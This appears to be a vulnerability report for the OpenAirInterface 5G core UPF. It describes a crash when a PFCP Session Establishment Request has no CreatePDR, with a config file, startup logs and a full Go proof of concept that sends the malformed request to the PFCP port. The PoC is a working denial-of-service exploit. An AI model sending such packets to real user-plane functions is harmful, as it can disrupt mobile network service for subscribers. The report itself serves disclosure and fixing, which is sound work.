[UPF] Crash on PFCP Session Establishment when CreatePDR is absent
OAI-CN-5G Release, Revision, or Tag
- commit:74d8ed9a; eBPF=ON
Description
When a PFCP Session Establishment Request does not contain any CreatePDRs, the UPF does not return an error. Instead, it dereferences an empty container/null pointer in the subsequent session creation/cleanup logic, leading to a crash.
Config
config.yaml
################################################################################
# Licensed to the OpenAirInterface (OAI) Software Alliance under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The OpenAirInterface Software Alliance licenses this file to You under
# the OAI Public License, Version 1.1 (the "License"); you may not use this file
# except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.openairinterface.org/?page_id=698
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#-------------------------------------------------------------------------------
# For more information about the OpenAirInterface (OAI) Software Alliance:
# contact@openairinterface.org
################################################################################
# OAI CN Configuration File
### This file can be used by all OAI NFs
### Some fields are specific to an NF and will be ignored by other NFs
### The {{ env['ENV_NAME'] }} syntax lets you define these values in a docker-compose file
### If you intend to mount this file or use a bare-metal deployment, please refer to README.md
### The README.md also defines default values and allowed values for each configuration parameter
############# Common configuration
# Log level for all the NFs
log_level:
general: debug
# If you enable registration, the other NFs will use the NRF discovery mechanism
register_nf:
general: yes
http_version: 2
############## SBI Interfaces
### Each NF takes its local SBI interfaces and remote interfaces from here, unless it gets them using NRF discovery mechanisms
nfs:
amf:
host: oai-amf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n2:
interface_name: eth0
port: 38412
smf:
host: oai-smf
sbi:
port: 8080
api_version: v1
interface_name: eth0
n4:
interface_name: eth0
port: 8805
upf:
host: oai-upf
sbi:
port: 8080
api_version: v1
interface_name: eth1
n3:
interface_name: eth0
port: 2152
n4:
interface_name: eth0
port: 8805
n6:
interface_name: eth1
n9:
interface_name: eth0
port: 2152
udm:
host: oai-udm
sbi:
port: 8080
api_version: v1
interface_name: eth0
udr:
host: oai-udr
sbi:
port: 8080
api_version: v1
interface_name: eth0
ausf:
host: oai-ausf
sbi:
port: 8080
api_version: v1
interface_name: eth0
nrf:
host: oai-nrf
sbi:
port: 8080
api_version: v1
interface_name: eth0
#### Common for UDR and AMF
database:
host: mysql
user: test
type: mysql
password: test
database_name: oai_db
generate_random: true
connection_timeout: 300 # seconds
## general single_nssai configuration
## Defines YAML anchors, which are reused in the config file
snssais:
- &embb_slice
sst: 1
############## NF-specific configuration
amf:
pid_directory: "/var/run"
amf_name: "OAI-AMF"
# This really depends on if we want to keep the "mini" version or not
support_features_options:
enable_simple_scenario: no
enable_nssf: no
enable_smf_selection: yes
use_external_udm: no
relative_capacity: 30
statistics_timer_interval: 20 #in seconds
emergency_support: false
served_guami_list:
- mcc: 001
mnc: 01
amf_region_id: 01
amf_set_id: 001
amf_pointer: 01
plmn_support_list:
- mcc: 001
mnc: 01
tac: 0x0001
nssai:
- *embb_slice
supported_integrity_algorithms:
- "NIA1"
- "NIA2"
supported_encryption_algorithms:
- "NEA0"
- "NEA1"
- "NEA2"
smf:
ue_mtu: 1500
support_features:
use_local_subscription_info: yes # Use infos from local_subscription_info or from UDM
use_local_pcc_rules: yes # Use infos from local_pcc_rules or from PCF
# we resolve from NRF, this is just to configure usage_reporting
upfs:
- host: oai-upf
config:
enable_usage_reporting: no
ue_dns:
primary_ipv4: "1.1.1.1"
primary_ipv6: "2001:4860:4860::8888"
secondary_ipv4: "8.8.8.8"
secondary_ipv6: "2001:4860:4860::8888"
ims:
pcscf_ipv4: "192.168.70.139"
pcscf_ipv6: "fe80::7915:f408:1787:db8b"
# the DNN you configure here should be configured in "dnns"
# follows the SmfInfo datatype from 3GPP TS 29.510
smf_info:
sNssaiSmfInfoList:
- sNssai: *embb_slice
dnnSmfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
local_subscription_infos:
- single_nssai: *embb_slice
dnn: "oai"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "openairinterface"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "ims"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
- single_nssai: *embb_slice
dnn: "default"
qos_profile:
5qi: 9
session_ambr_ul: "10Gbps"
session_ambr_dl: "10Gbps"
upf:
support_features:
enable_bpf_datapath: yes # If "on": BPF is used as datapath else simpleswitch is used, DEFAULT= off
enable_snat: yes # If "on": Source natting is done for UE, DEFAULT= off
remote_n6_gw: 127.0.0.1 # Dummy host since simple-switch does not use N6 GW
smfs:
- host: oai-smf # To be used for PFCP association in case of no-NRF
upf_info:
sNssaiUpfInfoList:
- sNssai: *embb_slice
dnnUpfInfoList:
- dnn: "oai"
- dnn: "openairinterface"
- dnn: "ims"
- dnn: "default"
## DNN configuration
dnns:
- dnn: "oai"
pdu_session_type: "IPV4"
ipv4_subnet: "10.0.0.0/24"
- dnn: "openairinterface"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.1.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "ims"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.9.0/24"
ipv6_prefix: "2001:1:2::/64"
- dnn: "default"
pdu_session_type: "IPV4V6"
ipv4_subnet: "10.0.255.0/24"
ipv6_prefix: "2001:1:2::/64"Steps to reproduce
- Start a new go project inside a new folder: go mod init poc
- Create a main.go and paste the code below:
package main
import (
"encoding/hex"
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
// forcePFCPv1 sets PFCP version to 1 while keeping low 5 bits of first byte.
func forcePFCPv1(pkt []byte) {
if len(pkt) > 0 {
pkt[0] = (1 << 5) | (pkt[0] & 0x1F)
}
}
func assocSetup(seq uint32, nodeIP net.IP) []byte {
p, _ := message.NewAssociationSetupRequest(
seq,
ie.NewNodeID(nodeIP.String(), "", ""),
ie.NewRecoveryTimeStamp(time.Now()),
).Marshal()
forcePFCPv1(p)
return p
}
// buildSE_NoPDR builds a Session Establishment Request WITHOUT any Create PDR IEs.
func buildSE_NoPDR(seq uint8, nodeIP net.IP, dnn string) []byte {
farID := uint32(1)
createFAR := ie.NewCreateFAR(
ie.NewFARID(farID),
ie.NewApplyAction(0x02), // FORW
ie.NewForwardingParameters(
ie.NewDestinationInterface(1), // Core
),
)
p, _ := message.NewSessionEstablishmentRequest(
seq, 0, 0, 1, 0,
ie.NewNodeID(nodeIP.String(), "", ""),
ie.NewFSEID(0x0, nodeIP, nil),
createFAR,
).Marshal()
forcePFCPv1(p)
return p
}
func main() {
var (
host = flag.String("host", "127.0.0.1", "UPF PFCP address")
port = flag.Int("port", 8805, "UPF PFCP port")
node = flag.String("node", "1.1.1.1", "NodeID/F-SEID IPv4 used in requests")
dnn = flag.String("dnn", "oai", "PDI NetworkInstance (DNN)")
waitDur = flag.Duration("wait", 200*time.Millisecond, "wait between messages")
)
flag.Parse()
// Use JoinHostPort to support IPv6 literals correctly
dst := net.JoinHostPort(*host, fmt.Sprintf("%d", *port))
nodeIP := net.ParseIP(*node)
if nodeIP == nil {
log.Fatalf("invalid node IP: %s", *node)
}
conn, err := net.Dial("udp", dst)
if err != nil {
log.Fatalf("dial: %v", err)
}
defer conn.Close()
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
responseCh := make(chan []byte, 10)
errorCh := make(chan error, 1)
go func() {
buf := make([]byte, 1500)
for {
conn.SetReadDeadline(time.Now().Add(5 * time.Second))
n, err := conn.Read(buf)
if err != nil {
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
log.Printf("[INFO] No response received (timeout)")
return
}
errorCh <- err
return
}
responseCh <- buf[:n]
}
}()
assocPkt := assocSetup(1, nodeIP)
log.Printf("[SEND] AssociationSetupRequest seq=1, len=%d bytes", len(assocPkt))
log.Printf("[DEBUG] Packet hex (first 64 bytes): %s", hex.Dump(assocPkt[:min(len(assocPkt), 64)]))
if _, err := conn.Write(assocPkt); err != nil {
log.Fatalf("assoc send: %v", err)
}
select {
case resp := <-responseCh:
log.Printf("[RECV] Response received, len=%d bytes", len(resp))
log.Printf("[DEBUG] Response hex (first 64 bytes): %s", hex.Dump(resp[:min(len(resp), 64)]))
if msg, err := message.Parse(resp); err == nil {
log.Printf("[INFO] Parsed response: Type=%d, MessageType=%s", msg.MessageType(), msg.MessageTypeName())
} else {
log.Printf("[WARN] Failed to parse response: %v", err)
}
case err := <-errorCh:
log.Printf("[ERROR] Read error: %v", err)
case <-time.After(*waitDur):
log.Printf("[WARN] No association response received")
}
time.Sleep(*waitDur)
sePkt := buildSE_NoPDR(2, nodeIP, *dnn)
log.Printf("[SEND] SessionEstablishmentRequest (no PDR) seq=2, len=%d bytes", len(sePkt))
log.Printf("[DEBUG] Packet hex (first 128 bytes): %s", hex.Dump(sePkt[:min(len(sePkt), 128)]))
log.Printf("[INFO] Message structure: Contains FAR only, NO CreatePDR IEs")
if _, err := conn.Write(sePkt); err != nil {
log.Fatalf("no-pdr se send seq=2: %v", err)
}
log.Printf("[INFO] Sent SE(no PDR) seq=2, waiting for response...")
log.Printf("[INFO] Expected behavior: UPF should crash with 'No pdr found' error")
select {
case resp := <-responseCh:
log.Printf("[RECV] Response received, len=%d bytes", len(resp))
log.Printf("[DEBUG] Response hex (first 128 bytes): %s", hex.Dump(resp[:min(len(resp), 128)]))
if msg, err := message.Parse(resp); err == nil {
log.Printf("[INFO] Parsed response: %s", msg.MessageTypeName())
log.Printf("[WARN] UPF responded (did not crash) - this is unexpected for vulnerable version")
} else {
log.Printf("[WARN] Failed to parse response: %v", err)
}
case err := <-errorCh:
log.Printf("[ERROR] Read error: %v", err)
case <-time.After(3 * time.Second):
log.Printf("[CRASH DETECTED] No response received after 3 seconds")
log.Printf("[SUCCESS] This indicates UPF likely crashed!")
log.Printf("[INFO] Check UPF logs for:")
log.Printf(" - Signal 11 (SIGSEGV)")
log.Printf(" - 'No pdr found' error")
log.Printf(" - 'Session creation failed' exception")
log.Printf("[INFO] Expected crash sequence:")
log.Printf(" 1. UPF receives SE request without CreatePDR")
log.Printf(" 2. UPF processes FAR successfully")
log.Printf(" 3. UPF tries to create BPF session")
log.Printf(" 4. UPF finds 'No pdr found' (no PDR in message)")
log.Printf(" 5. UPF throws exception and crashes")
}
log.Printf("[INFO] Test completed. Check UPF logs for any crashes or errors.")
}
func min(a, b int) int {
if a < b {
return a
}
return b
}- Download required libraries:
go mod tidy - Run the program with the upf pfcp server address:
go run main.go -host 192.168.71.2 -port 8805 -node 1.1.1.1 -dnn oai
Logs
Trying to read .yaml configuration file: /openair-upf/etc/config.yaml
LTTNG Tracing disabled at build-time!
[2025-11-05 10:18:46.602] [upf_app] [start] Options parsed
[2025-11-05 10:18:46.606] [config ] [info] Reading NF configuration from /openair-upf/etc/config.yaml
[2025-11-05 10:18:46.617] [config ] [debug] Unknown NF amf in configuration. Ignored
[2025-11-05 10:18:46.617] [config ] [debug] Unknown NF udm in configuration. Ignored
[2025-11-05 10:18:46.617] [config ] [debug] Unknown NF udr in configuration. Ignored
[2025-11-05 10:18:46.617] [config ] [debug] Unknown NF ausf in configuration. Ignored
[2025-11-05 10:18:46.622] [config ] [debug] Validating configuration of log_level
[2025-11-05 10:18:46.622] [config ] [debug] Validating configuration of register_nf
[2025-11-05 10:18:46.622] [config ] [debug] Validating configuration of http_version
[2025-11-05 10:18:46.622] [config ] [debug] Validating configuration of http_request_timeout
[2025-11-05 10:18:46.622] [config ] [debug] Validating configuration of NRF
[2025-11-05 10:18:46.623] [config ] [debug] Validating configuration of SMF
[2025-11-05 10:18:46.623] [config ] [debug] Validating configuration of UPF Configuration
[2025-11-05 10:18:46.625] [config ] [debug] Validating configuration of DNN
[2025-11-05 10:18:46.626] [config ] [debug] Validating configuration of DNN
[2025-11-05 10:18:46.627] [config ] [debug] Validating configuration of DNN
[2025-11-05 10:18:46.627] [config ] [debug] Validating configuration of DNN
[2025-11-05 10:18:46.628] [config ] [debug] Validating configuration of database
[2025-11-05 10:18:46.628] [common] [debug] Resolving a DNS (name 127.0.0.1)
[2025-11-05 10:18:46.628] [common] [debug] Resolving DNS Try #0
[2025-11-05 10:18:46.630] [common] [debug] Resolved a DNS (name 127.0.0.1, protocol http): Ip Addr 127.0.0.1, port 80
[2025-11-05 10:18:46.630] [config ] [debug] PDN Network validation for UE Subnet: 10.0.0.0
[2025-11-05 10:18:46.630] [config ] [debug] IP Pool : 10.0.0.1 - 10.0.0.254
[2025-11-05 10:18:46.630] [config ] [debug] PDN Network validation for UE Subnet: 10.0.1.0
[2025-11-05 10:18:46.630] [config ] [debug] IP Pool : 10.0.1.1 - 10.0.1.254
[2025-11-05 10:18:46.630] [config ] [debug] PDN Network validation for UE Subnet: 10.0.9.0
[2025-11-05 10:18:46.630] [config ] [debug] IP Pool : 10.0.9.1 - 10.0.9.254
[2025-11-05 10:18:46.630] [config ] [debug] PDN Network validation for UE Subnet: 10.0.255.0
[2025-11-05 10:18:46.630] [config ] [debug] IP Pool : 10.0.255.1 - 10.0.255.254
[2025-11-05 10:18:46.630] [config ] [info] ==== OPENAIRINTERFACE upf vBranch: HEAD Abrev. Hash: 74d8ed9 Date: Tue Oct 28 11:05:06 2025 +0100 ====
[2025-11-05 10:18:46.630] [config ] [info] Basic Configuration:
[2025-11-05 10:18:46.630] [config ] [info] - log_level..................................: debug
[2025-11-05 10:18:46.630] [config ] [info] - register_nf................................: Yes
[2025-11-05 10:18:46.630] [config ] [info] - http_version...............................: 2
[2025-11-05 10:18:46.630] [config ] [info] - HTTP Request Timeout.......................: 3000 (ms)
[2025-11-05 10:18:46.630] [config ] [info] UPF Configuration:
[2025-11-05 10:18:46.630] [config ] [info] - host.......................................: oai-upf
[2025-11-05 10:18:46.630] [config ] [info] - SBI
[2025-11-05 10:18:46.630] [config ] [info] + URL......................................: http://oai-upf:8080
[2025-11-05 10:18:46.630] [config ] [info] + API Version..............................: v1
[2025-11-05 10:18:46.630] [config ] [info] + IPv4 Address ............................: 192.168.70.134
[2025-11-05 10:18:46.630] [config ] [info] - N3:
[2025-11-05 10:18:46.630] [config ] [info] + Port.....................................: 2152
[2025-11-05 10:18:46.630] [config ] [info] + IPv4 Address ............................: 192.168.71.2
[2025-11-05 10:18:46.630] [config ] [info] + MTU......................................: 1500
[2025-11-05 10:18:46.630] [config ] [info] + Interface name: .........................: eth0
[2025-11-05 10:18:46.630] [config ] [info] + Network Instance.........................: access.oai.org
[2025-11-05 10:18:46.630] [config ] [info] - N4:
[2025-11-05 10:18:46.630] [config ] [info] + Port.....................................: 8805
[2025-11-05 10:18:46.630] [config ] [info] + IPv4 Address ............................: 192.168.71.2
[2025-11-05 10:18:46.630] [config ] [info] + MTU......................................: 1500
[2025-11-05 10:18:46.630] [config ] [info] + Interface name: .........................: eth0
[2025-11-05 10:18:46.630] [config ] [info] - N6:
[2025-11-05 10:18:46.630] [config ] [info] + Port.....................................: 2152
[2025-11-05 10:18:46.630] [config ] [info] + IPv4 Address ............................: 192.168.70.134
[2025-11-05 10:18:46.630] [config ] [info] + MTU......................................: 1500
[2025-11-05 10:18:46.630] [config ] [info] + Interface name: .........................: eth1
[2025-11-05 10:18:46.630] [config ] [info] + Network Instance.........................: core.oai.org
[2025-11-05 10:18:46.630] [config ] [info] - Instance ID................................: 0
[2025-11-05 10:18:46.630] [config ] [info] - Remote N6 Gateway..........................: 127.0.0.1
[2025-11-05 10:18:46.630] [config ] [info] - Support Features:
[2025-11-05 10:18:46.630] [config ] [info] + Enable BPF Datapath......................: Yes
[2025-11-05 10:18:46.630] [config ] [info] + Enable QoS...............................: No
[2025-11-05 10:18:46.630] [config ] [info] + Max upf interfaces.......................: 3
[2025-11-05 10:18:46.630] [config ] [info] + Max upf redirect interfaces..............: 2
[2025-11-05 10:18:46.630] [config ] [info] + Max PDU Session..........................: 10000
[2025-11-05 10:18:46.630] [config ] [info] + Max PDRs Per PDU Session.................: 8
[2025-11-05 10:18:46.630] [config ] [info] + Max Qos Flows Per PDU Session............: 8
[2025-11-05 10:18:46.630] [config ] [info] + Max SDF Filters Per PDU Session..........: 8
[2025-11-05 10:18:46.630] [config ] [info] + Max ARP Entries..........................: 2
[2025-11-05 10:18:46.630] [config ] [info] + Enable SNAT..............................: Yes
[2025-11-05 10:18:46.630] [config ] [info] + enable_fr................................: No
[2025-11-05 10:18:46.630] [config ] [info] + upf_info:
[2025-11-05 10:18:46.630] [config ] [info] - snssai_upf_info_item:
[2025-11-05 10:18:46.630] [config ] [info] + snssai:
[2025-11-05 10:18:46.630] [config ] [info] - sst..................................: 1
[2025-11-05 10:18:46.630] [config ] [info] - sd...................................: FFFFFF
[2025-11-05 10:18:46.630] [config ] [info] + dnns:
[2025-11-05 10:18:46.630] [config ] [info] - dnn..................................: oai
[2025-11-05 10:18:46.630] [config ] [info] - dnn..................................: openairinterface
[2025-11-05 10:18:46.630] [config ] [info] - dnn..................................: ims
[2025-11-05 10:18:46.630] [config ] [info] - dnn..................................: default
[2025-11-05 10:18:46.630] [config ] [info] Peer NF Configuration:
[2025-11-05 10:18:46.630] [config ] [info] NRF:
[2025-11-05 10:18:46.630] [config ] [info] - host.....................................: oai-nrf
[2025-11-05 10:18:46.630] [config ] [info] - SBI
[2025-11-05 10:18:46.630] [config ] [info] + URL....................................: http://oai-nrf:8080
[2025-11-05 10:18:46.630] [config ] [info] + API Version............................: v1
[2025-11-05 10:18:46.630] [config ] [info] SMF:
[2025-11-05 10:18:46.630] [config ] [info] - host.....................................: oai-smf
[2025-11-05 10:18:46.630] [config ] [info] - SBI
[2025-11-05 10:18:46.630] [config ] [info] + URL....................................: http://oai-smf:8080
[2025-11-05 10:18:46.630] [config ] [info] + API Version............................: v1
[2025-11-05 10:18:46.630] [config ] [info] DNNs:
[2025-11-05 10:18:46.630] [config ] [info] - DNN:
[2025-11-05 10:18:46.630] [config ] [info] + DNN......................................: oai
[2025-11-05 10:18:46.630] [config ] [info] + PDU session type.........................: IPV4
[2025-11-05 10:18:46.630] [config ] [info] + IPv4 subnet..............................: 10.0.0.0/24
[2025-11-05 10:18:46.630] [config ] [info] + DNS Settings:
[2025-11-05 10:18:46.630] [config ] [info] - primary_dns_ipv4.......................: 8.8.8.8
[2025-11-05 10:18:46.630] [config ] [info] - secondary_dns_ipv4.....................: 1.1.1.1
[2025-11-05 10:18:46.630] [config ] [info] - DNN:
[2025-11-05 10:18:46.630] [config ] [info] + DNN......................................: openairinterface
[2025-11-05 10:18:46.630] [config ] [info] + PDU session type.........................: IPV4V6
[2025-11-05 10:18:46.630] [config ] [info] + IPv6 prefix..............................: 2001:1:2::/64
[2025-11-05 10:18:46.630] [config ] [info] + IPv4 subnet..............................: 10.0.1.0/24
[2025-11-05 10:18:46.630] [config ] [info] + DNS Settings:
[2025-11-05 10:18:46.630] [config ] [info] - primary_dns_ipv4.......................: 8.8.8.8
[2025-11-05 10:18:46.630] [config ] [info] - secondary_dns_ipv4.....................: 1.1.1.1
[2025-11-05 10:18:46.630] [config ] [info] - DNN:
[2025-11-05 10:18:46.630] [config ] [info] + DNN......................................: ims
[2025-11-05 10:18:46.630] [config ] [info] + PDU session type.........................: IPV4V6
[2025-11-05 10:18:46.630] [config ] [info] + IPv6 prefix..............................: 2001:1:2::/64
[2025-11-05 10:18:46.630] [config ] [info] + IPv4 subnet..............................: 10.0.9.0/24
[2025-11-05 10:18:46.630] [config ] [info] + DNS Settings:
[2025-11-05 10:18:46.630] [config ] [info] - primary_dns_ipv4.......................: 8.8.8.8
[2025-11-05 10:18:46.630] [config ] [info] - secondary_dns_ipv4.....................: 1.1.1.1
[2025-11-05 10:18:46.630] [config ] [info] - DNN:
[2025-11-05 10:18:46.630] [config ] [info] + DNN......................................: default
[2025-11-05 10:18:46.630] [config ] [info] + PDU session type.........................: IPV4V6
[2025-11-05 10:18:46.630] [config ] [info] + IPv6 prefix..............................: 2001:1:2::/64
[2025-11-05 10:18:46.630] [config ] [info] + IPv4 subnet..............................: 10.0.255.0/24
[2025-11-05 10:18:46.630] [config ] [info] + DNS Settings:
[2025-11-05 10:18:46.630] [config ] [info] - primary_dns_ipv4.......................: 8.8.8.8
[2025-11-05 10:18:46.630] [config ] [info] - secondary_dns_ipv4.....................: 1.1.1.1
[2025-11-05 10:18:46.630] [upf_app] [info] HTTP Client successfully initiated on interface eth1 with timeout 3000 ms, HTTP version 2
[2025-11-05 10:18:46.630] [common] [start] Starting...
[2025-11-05 10:18:46.631] [common] [start] Started
[2025-11-05 10:18:46.631] [asc_cmd] [start] Starting...
[2025-11-05 10:18:46.631] [common] [info] Starting timer_manager_task
[2025-11-05 10:18:46.632] [asc_cmd] [start] Started
[2025-11-05 10:18:46.632] [upf_app] [start] Starting...
[2025-11-05 10:18:46.633] [udp ] [debug] Creating new listen socket on address 192.168.71.2 and port 8805
[2025-11-05 10:18:46.633] [udp ] [debug] udp_server::udp_server(192.168.71.2:8805)
[2025-11-05 10:18:46.633] [udp ] [debug] Creating new listen socket on address 192.168.71.2 and port 0
[2025-11-05 10:18:46.633] [udp ] [debug] udp_server::udp_server(192.168.71.2:0)
[2025-11-05 10:18:46.633] [pfcp ] [info] pfcp_l4_stack created listening to 192.168.71.2:8805
[2025-11-05 10:18:46.633] [upf_n4 ] [start] Starting...
[2025-11-05 10:18:46.633] [upf_n4 ] [start] Started
[2025-11-05 10:18:46.634] [upf_app] [start] Starting...
[2025-11-05 10:18:46.634] [upf_app] [debug] - NF instance info
[2025-11-05 10:18:46.634] [upf_app] [debug] Instance ID: 8629b193-84f2-4bb6-943b-63c4fde95bdb
[2025-11-05 10:18:46.634] [upf_app] [debug] Instance name: OAI-UPF
[2025-11-05 10:18:46.634] [upf_app] [debug] Instance type: UPF
[2025-11-05 10:18:46.634] [upf_app] [debug] Instance fqdn:
[2025-11-05 10:18:46.634] [upf_app] [debug] Status: REGISTERED
[2025-11-05 10:18:46.634] [upf_app] [debug] HeartBeat timer: 50
[2025-11-05 10:18:46.634] [upf_app] [debug] Priority: 1
[2025-11-05 10:18:46.634] [upf_app] [debug] Capacity: 100
[2025-11-05 10:18:46.634] [upf_app] [debug] SNSSAI:
[2025-11-05 10:18:46.634] [upf_app] [debug] SST, SD: 1, FFFFFF
[2025-11-05 10:18:46.634] [upf_app] [debug] IPv4 Addr:
[2025-11-05 10:18:46.634] [upf_app] [debug] 192.168.71.2
[2025-11-05 10:18:46.634] [upf_app] [debug] UPF Info:
[2025-11-05 10:18:46.634] [upf_app] [debug] SNSSAI (SST 1, SD FFFFFF)
[2025-11-05 10:18:46.634] [upf_app] [debug] DNN default
[2025-11-05 10:18:46.634] [upf_app] [debug] DNN ims
[2025-11-05 10:18:46.634] [upf_app] [debug] DNN openairinterface
[2025-11-05 10:18:46.634] [upf_app] [debug] DNN oai
[2025-11-05 10:18:46.634] [upf_app] [info] Send NF Instance Registration to NRF
[2025-11-05 10:18:46.634] [upf_app] [debug] UPF profile to JSON:
{"capacity":100,"fqdn":"","heartBeatTimer":50,"ipv4Addresses":["192.168.71.2"],"nfInstanceId":"8629b193-84f2-4bb6-943b-63c4fde95bdb","nfInstanceName":"OAI-UPF","nfStatus":"REGISTERED","nfType":"UPF","priority":1,"sNssais":[{"sd":"FFFFFF","sst":1}],"upfInfo":{"sNssaiUpfInfoList":[{"dnnUpfInfoList":[{"dnn":"default"},{"dnn":"ims"},{"dnn":"openairinterface"},{"dnn":"oai"}],"sNssai":{"sd":"FFFFFF","sst":1}}]}}
[2025-11-05 10:18:46.634] [upf_app] [debug] Send NF Instance Registration to NRF (NRF URL http://oai-nrf:8080/nnrf-nfm/v1/nf-instances/8629b193-84f2-4bb6-943b-63c4fde95bdb)
[2025-11-05 10:18:46.634] [upf_app] [debug] Send NF Instance Registration to NRF, msg body:
{"capacity":100,"fqdn":"","heartBeatTimer":50,"ipv4Addresses":["192.168.71.2"],"nfInstanceId":"8629b193-84f2-4bb6-943b-63c4fde95bdb","nfInstanceName":"OAI-UPF","nfStatus":"REGISTERED","nfType":"UPF","priority":1,"sNssais":[{"sd":"FFFFFF","sst":1}],"upfInfo":{"sNssaiUpfInfoList":[{"dnnUpfInfoList":[{"dnn":"default"},{"dnn":"ims"},{"dnn":"openairinterface"},{"dnn":"oai"}],"sNssai":{"sd":"FFFFFF","sst":1}}]}}
[2025-11-05 10:18:46.634] [upf_app] [debug] Send a simple HTTP request
[2025-11-05 10:18:46.641] [upf_app] [info] Response from NRF, JSON data:
{"capacity":100,"heartBeatTimer":10,"ipv4Addresses":["192.168.71.2"],"json_data":null,"nfInstanceId":"8629b193-84f2-4bb6-943b-63c4fde95bdb","nfInstanceName":"OAI-UPF","nfServices":[],"nfStatus":"REGISTERED","nfType":"UPF","priority":1,"sNssais":[{"sd":"FFFFFF","sst":1}],"upfInfo":{"sNssaiUpfInfoList":[{"dnnUpfInfoList":[{"dnn":"oai"},{"dnn":"openairinterface"},{"dnn":"ims"},{"dnn":"default"}],"sNssai":{"sd":"FFFFFF","sst":1}}]}}
[2025-11-05 10:18:46.642] [upf_app] [debug] - NF instance info
[2025-11-05 10:18:46.642] [upf_app] [debug] Instance ID: 8629b193-84f2-4bb6-943b-63c4fde95bdb
[2025-11-05 10:18:46.642] [upf_app] [debug] Instance name: OAI-UPF
[2025-11-05 10:18:46.642] [upf_app] [debug] Instance type: UPF
[2025-11-05 10:18:46.642] [upf_app] [debug] Instance fqdn:
[2025-11-05 10:18:46.642] [upf_app] [debug] Status: REGISTERED
[2025-11-05 10:18:46.642] [upf_app] [debug] HeartBeat timer: 10
[2025-11-05 10:18:46.642] [upf_app] [debug] Priority: 1
[2025-11-05 10:18:46.642] [upf_app] [debug] Capacity: 100
[2025-11-05 10:18:46.642] [upf_app] [debug] SNSSAI:
[2025-11-05 10:18:46.642] [upf_app] [debug] SST, SD: 1, FFFFFF
[2025-11-05 10:18:46.642] [upf_app] [debug] IPv4 Addr:
[2025-11-05 10:18:46.642] [upf_app] [debug] 192.168.71.2
[2025-11-05 10:18:46.642] [upf_app] [debug] 192.168.71.2
[2025-11-05 10:18:46.642] [upf_app] [debug] UPF Info:
[2025-11-05 10:18:46.642] [upf_app] [debug] SNSSAI (SST 1, SD FFFFFF)
[2025-11-05 10:18:46.642] [upf_app] [debug] DNN default
[2025-11-05 10:18:46.642] [upf_app] [debug] DNN ims
[2025-11-05 10:18:46.642] [upf_app] [debug] DNN openairinterface
[2025-11-05 10:18:46.642] [upf_app] [debug] DNN oai
[2025-11-05 10:18:46.642] [upf_app] [debug] Updated UPF profile
[2025-11-05 10:18:46.642] [upf_app] [debug] - NF instance info
[2025-11-05 10:18:46.642] [upf_app] [debug] Instance ID: 8629b193-84f2-4bb6-943b-63c4fde95bdb
[2025-11-05 10:18:46.642] [upf_app] [debug] Instance name: OAI-UPF
[2025-11-05 10:18:46.642] [upf_app] [debug] Instance type: UPF
[2025-11-05 10:18:46.642] [upf_app] [debug] Instance fqdn:
[2025-11-05 10:18:46.642] [upf_app] [debug] Status: REGISTERED
[2025-11-05 10:18:46.642] [upf_app] [debug] HeartBeat timer: 10
[2025-11-05 10:18:46.642] [upf_app] [debug] Priority: 1
[2025-11-05 10:18:46.642] [upf_app] [debug] Capacity: 100
[2025-11-05 10:18:46.642] [upf_app] [debug] SNSSAI:
[2025-11-05 10:18:46.642] [upf_app] [debug] SST, SD: 1, FFFFFF
[2025-11-05 10:18:46.642] [upf_app] [debug] IPv4 Addr:
[2025-11-05 10:18:46.642] [upf_app] [debug] 192.168.71.2
[2025-11-05 10:18:46.642] [upf_app] [debug] 192.168.71.2
[2025-11-05 10:18:46.642] [upf_app] [debug] UPF Info:
[2025-11-05 10:18:46.642] [upf_app] [debug] SNSSAI (SST 1, SD FFFFFF)
[2025-11-05 10:18:46.642] [upf_app] [debug] DNN default
[2025-11-05 10:18:46.642] [upf_app] [debug] DNN ims
[2025-11-05 10:18:46.642] [upf_app] [debug] DNN openairinterface
[2025-11-05 10:18:46.642] [upf_app] [debug] DNN oai
[2025-11-05 10:18:46.642] [upf_app] [start] Started
[2025-11-05 10:18:46.642] [upf_app] [start] Started
[2025-11-05 10:18:46.644] [upf_app] [info] GTP interface: eth0
[2025-11-05 10:18:46.644] [upf_app] [info] Non-GTP interface: eth1
[2025-11-05 10:18:46.644] [upf_app] [info] Initializing PFCP Session Lookup BPF program...
[2025-11-05 10:18:46.645] [upf_app] [debug] Configured map m_upf_interfaces with max_entries=3
[2025-11-05 10:18:46.645] [upf_app] [debug] Configured map m_redirect_interfaces with max_entries=2
[2025-11-05 10:18:46.645] [upf_app] [debug] Configured map m_session_mapping with max_entries=10000
[2025-11-05 10:18:46.645] [upf_app] [debug] Configured map m_session_pdrs with max_entries=8
[2025-11-05 10:18:46.645] [upf_app] [debug] Configured map m_sdf_filter with max_entries=8
[2025-11-05 10:18:46.645] [upf_app] [debug] Configured map m_arp_table with max_entries=2
[2025-11-05 10:18:46.645] [upf_app] [debug] Configured map m_rules_match_pdr with max_entries=80000
[2025-11-05 10:18:46.645] [upf_app] [debug] Configured map m_qos_enabling with max_entries=10000
[2025-11-05 10:18:46.693] [upf_app] [debug] Configure redirect interface
[2025-11-05 10:18:46.693] [upf_app] [debug] The key is updated in the map: m_redirect_interfaces
[2025-11-05 10:18:46.693] [upf_app] [debug] The key is updated in the map: m_redirect_interfaces
[2025-11-05 10:18:46.693] [upf_app] [debug] Adding Reference Points to m_upf_interface Map
